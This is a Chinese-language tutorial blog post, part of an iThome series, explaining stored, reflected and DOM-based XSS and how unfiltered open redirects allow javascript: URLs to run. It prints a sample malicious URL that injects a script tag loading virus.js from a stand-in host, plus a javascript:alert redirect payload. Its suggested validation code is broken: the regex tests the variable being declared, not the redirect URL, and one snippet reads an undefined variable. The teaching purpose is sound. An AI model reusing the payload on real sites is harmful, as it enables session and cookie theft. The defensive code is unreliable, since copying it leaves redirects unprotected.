iT邦幫忙

2023 iThome 鐵人賽

DAY 5
0
Security

從自建漏洞中學習 - 一起填坑吧系列 第 5

Redirects - 重新導向的資安漏洞們 (中篇)

  • 分享至 

  • xImage
  •  

Redirects - 重新導向的資安漏洞們 (中篇)

Open Redirects + XSS

XSS 介紹

攻擊方有可能藉由輸入一些 script,來讓其他的使用者在讀取 DB 的時候,他的 session or cookie 直接被劫持,用來做其他事情。

簡單分類 XSS

XSS 通常分為三類:

  • Stored XSS
    以他的英文名稱來看,Stored XSS 顧名思義就是 "存"在某個地方 (ex. DB) 的 XSS 攻擊

    • 可能的攻擊流程:
      1. script 儲存到 DB
      2. 當這些資料沒有正確被後端 encode 的時候,很有可能會出現一些資安漏洞,例如使用者的 Browser 就直接拿到 script,被 Browser 給執行了
  • Reflected XSS

    以他的英文名稱來看,Reflected XSS 顧名思義就是 會"反應"的 XSS 攻擊

    此處的反應指的是: 網站會 "反應" URL (包含 javascript code) 所引起的攻擊

    • 可能的攻擊流程:
      1. 當攻擊者發現網站可以執行惡意程式碼時,攻擊者可以透過傳送 “已經植入惡意 javascipt 的 url” 引誘受害者點擊該 url
      2. 使用者點擊 url
      3. 最後因此執行該 javascript

    此處有一個惡意 url 範例:

    http://your_website.com/reflected-xss/?username='><script src='http://virus.com/virus.js'></script><a href='
    

    攻擊者可能透過惡意 url 而誘騙使用者點擊其 url,並且執行惡意的 script。

    (注意: 並不是所有的 url 都能很輕易地被我們察覺,他也有可能會是經過 encode 後版本)

  • DOM Based XSS

    以他的英文名稱來看,DOM Based XSS 顧名思義就是 基於 DOM 操作的 XSS 攻擊
    網頁 javascript 在執行過程中,因為沒有詳細檢查資料 or 做其他的處理,就使操作 DOM 的過程中帶入惡意的指令。

    • 可能的攻擊流程:

      1. 攻擊者建構出特殊 URL
      2. 使用者點擊該惡意 url,網站回應 response,user 接收到響應後解析執行
      3. 前端 javascript 取出 url 的惡意 code 並執行
      4. 惡意 code 可能會進行想要的攻擊,例如: 竊取用戶資訊並且發送到攻擊者的網站,或是冒充用戶的行為,調用目標網站接口,執行攻擊者的攻擊動作

XSS & Open Redirect 的關係

在看完 XSS 的簡單介紹後,此時我們可能會在想,那麼 XSS 和 Open Redirect 有什麼毛線關係?

請看一下範例:

const url = new URL("https://your_website.com?redirect=javascript:alert(5566)");
const redirectParams = new URLSearchParams(url.search);
window.location = searchParams.get('redirect');

從上面的範例可以看出: 我們並沒有在此處做過濾 query string 的動作,而是直接使用 redirect 拿到值後,就直接 assign 給 window.location

那麼,這時候會發生什麼事情呢?

假設我打開網站 devtool,輸入 window.location = 'javascript:alert(5566)'

https://ithelp.ithome.com.tw/upload/images/20230920/20107197jmyE6aOwxT.png

此時,他會跳出我想要他彈出的 alert ,上面標示著 5566。

如何防範 XSS ?

那麼,我們要如何防範 XSS 呢?
我們可以篩選掉沒有 http or https 開頭的 URI,來避免掉一些 script


let redirectUrl = decodeURIComponent(encodedURI);

const isValidRedirectUrl = /^((http|https):\/\/)/.test(isValidRedirectUrl);
if (!isValidRedirectUrl) {
  // 以下的 fallbackRedirectUrl 請放你想要不合格的 url 導向的位置
  redirectUrl = fallbackRedirectUrl;
}

window.location.href = redirectUrl || fallbackRedirectUrl;

不過,上述僅是過濾掉 XSS 的情況而已,若要完整處理 Open Redirect,還是建議參考上篇的文章。


今日小心得

最近家裡發生了很多事情,但寫文章的挑戰還是要繼續完成,希望能藉此達成養成學習習慣的目標,持續充實自己並打敗惰性。


Reference


上一篇
Redirects - 重新導向的資安漏洞們 (上篇)
下一篇
Redirects - 重新導向的資安漏洞們 (下篇)
系列文
從自建漏洞中學習 - 一起填坑吧30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言